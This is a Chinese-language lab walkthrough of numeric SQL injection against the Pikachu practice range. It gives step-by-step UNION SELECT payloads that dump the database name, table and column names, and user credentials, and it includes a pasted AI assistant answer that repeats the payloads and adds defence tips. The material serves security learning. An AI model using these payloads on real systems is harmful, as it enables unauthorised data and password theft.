pikachu(皮卡丘)靶场 sql数字型注入 详细讲解

实验环境以及工具

phpstudy,burpsuitepikachu,Navicat Premium 16

首先bp(burpsuite)抓包,放到Repeater(重放器)

这里知道是数字型就不做字符数字型判断了

1.判断是否有注入点

(1)将id=1改为id=1 and 1=1(页面正常)

(2)将id=1改为id=1 and 1=2(页面报错)

说明是存在注入点的 

2.通过order by语句判断有几个注入点()

(1)id=1 order by 2(页面正常)

(2)id=1 order by 3(页面报错)

说明有两个注入点

3.尝试union联合来确定注入点

id=1 union select 1,2 (随便2个数字)

 4.爆数据库(可以看到名为pikachu的数据库)

id=1 union select 1,database()

5.爆表名 

id=1 union select 1,table_name from information_schema.tables where table_schema='pikachu'

下面图可以看到关键词users 

 

这里我详细解释一下table_name,information_schema.tables,table_schema(我第一次学的时候想好久没想明白) 

  • information_schema.tablesinformation_schema 是 MySQL 自带的系统数据库,其中的 tables 表是系统表,它存储了 MySQL 服务器中所有数据库和表的元数据信息,是真实存在且可以被查询的。通过查询这个表,能获取各个数据库中的表名、表类型、创建时间等详细信息。
  • table_name 是一个列名,通常用于表示数据库中表的名称。在 SQL 查询里,它代表从某个表中选取的这一列数据。
  • table_schema 是 information_schema.tables 表中的一个列,用于存储每个表所属的数据库名称。

还没理解的话可以仔细看看这张图, 这是Navicat Premium 16(数据库可视化工具)

7.爆列名

id=1 union select 1,column_name from information_schema.columns where table_name='users' 

 

可以看到username和password列 

8.爆密码

id=1 union select username,password from users 

有个地方还是有点疑惑, 暂时先这样

<think>好的,用户需要关于Pikachu靶场数字型SQL注入的实验教程。首先,我得回忆一下Pikachu靶场的结构,数字型注入和字符型注入的区别。数字型通常不需要闭合引号,直接注入即可。用户提供的引用中提到了使用'union select等语句,但数字型可能不需要单引号。 接下来,我需要整理实验步骤。首先应该搭建环境,确保Pikachu靶场已经部署好。然后找到数字型注入的入口,比如可能是某个查询参数是数字类型的页面。比如用户信息查询,参数是id=1这样的形式。 然后,测试注入点。使用1 and 1=1和1 and 1=2来判断是否存在注入漏洞。如果页面返回不同,说明存在漏洞。之后确定字段数,用order by来猜测列数。接着联合查询,获取数据库信息,比如数据库名、表名、列名,最后提取数据。 要注意引用用户提供的例子,比如使用database()函数获取数据库名,还有information_schema.columns来获取列信息。需要确保语法正确,比如闭合注释符--+或者-- -。 另外,用户可能需要防御建议,比如参数化查询,过滤输入等。还要生成相关问题,可能涉及其他类型的注入、工具使用或防范措施。 需要检查步骤是否清晰,是否符合实际操作,以及是否正确应用了引用中的示例。确保使用正确的LaTeX格式,变量用$...$,独立公式用$$...$$。同时用中文回答,结构分明,步骤详细。</think>### Pikachu靶场数字型SQL注入实验教程 #### 一、实验准备 1. 部署Pikachu靶场环境(推荐使用PHPStudy+源码包) 2. 访问数字型注入漏洞模块:`/vul/sqli/sqli_id.php` #### 二、注入步骤演示 1. **判断注入点** 输入`1 and 1=1`返回正常,`1 and 1=2`返回异常,说明存在数字型注入漏洞[^1]。 2. **确定字段数** 通过`order by`逐步测试: ```sql 1 order by 2--+ # 正常 1 order by 3--+ # 报错 ``` 确认字段数为2列。 3. **联合查询获取信息** ```sql 1 union select database(),2--+ # 获取当前数据库pikachu ``` 4. **提取表结构** ```sql 1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'--+ # 获取users等表名[^2] ``` 5. **获取敏感数据** ```sql 1 union select username,password from pikachu.users--+ # 提取账户密码哈希值 ``` #### 三、关键语法说明 - 数字型注入无需闭合引号,直接拼接SQL - `information_schema`系统库存储元数据[^2] - `group_concat()`函数聚合查询结果 - 注释符`--+`或`#`截断后续语句 #### 四、防御建议 1. 使用预处理语句: ```php $stmt = $pdo->prepare("SELECT * FROM table WHERE id = ?"); $stmt->execute([$id]); ``` 2. 强制类型转换:`intval($_GET['id'])` 3. 设置数据库最小权限原则
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值